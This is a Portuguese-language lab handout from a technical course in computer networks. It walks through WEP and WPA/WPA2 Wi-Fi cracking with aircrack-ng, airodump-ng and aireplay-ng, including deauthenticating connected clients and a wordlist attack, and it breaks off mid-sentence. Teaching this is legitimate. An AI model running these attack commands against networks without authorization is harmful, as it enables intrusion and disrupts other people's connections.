tecnico

Faculdade de Tecnologia SENAI de Desenvolvimento Gerencial – FATESG
Curso Técnico em Redes de Computadores
Instrutor: Luciéliton Mundim

ATAQUE WEP

#nano /etc/network/interfaces

//Desabilitar NetworkManager

[main] plugins=ifupdown,keyfile [ifupdown] managed=true #service network-manager stop
#ifconfig
//Pegue o MAC da sua WLAN
#airmon-ng start wlan0
//Informações do AP (Access Point) alvo
#airodump-ng mon0
//Placa de rede
#iwconfig wlan0 channel 1 //Fixa canal da wlan no mesmo do AP
#airodump-ng –i mon0 –c 1 --bssid 7C:4F:B5:ED:74:F1 –w Senai.txt
//Captura e salva pacotes apenas da rede alvo
>
#aireplay-ng -3 –x 150 –b 7C:4F:B5:ED:74:F1 mon0
//Pacotes ARP para o roteador
>
#aireplay-ng -1 0 –a 7C:4F:B5:ED:74:F1 –h 00:19:7E:38:FF:30 mon0
//Associação entre wlan0 e AP
>
#aireplay-ng --deauth=10 –a 7C:4F:B5:ED:74:F1 –c 78:E4:00:8D:35:17 mon0
//Desautorização de um cliente autorizado
#aircrack-ng –b 7C:4F:B5:ED:74:F1 senac-01.ivs
//Quebra

Faculdade de Tecnologia SENAI de Desenvolvimento Gerencial – FATESG
Curso Técnico em Redes de Computadores
Instrutor: Luciéliton Mundim

ATAQUE WPA/WPA2
#airodump-ng –c 9 --bssid 00:14:6C:7E:40:80 –w quebrawpa mon0
-c 9 é o canal do AP;
–bssid 00:14:6C:7E:40:80 é o endereço MAC do AP.
-w quebrawpa é o nome arquivo IVs (pacotes trafegados); mon0 é a interface em modo monitor

Abra o Wireshark e “escute” a rede, filtando por eapol (autenticação)

# aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0
-0 significa desautenticação;
1 é o número de desautenticação que você deseja enviar;
-a 00:14:6C:7E:40:80 é o endereço MAC do AP;
-c 00:0F:B5:FD:FB:C2 é o MAC do cliente que será desautenticado; mon0 é o nome da interface.
Obs. Os pacotes de desautorização são enviados ao PC autenticado e não ao roteador, logo, é preciso que ele esteja no alcance do atacante.

#aircrack-ng -w wordlist.txt -b 00:14:6C:7E:40:80 fatesg.ivs
-w é o arquivo de senha (wordlist)
-b é o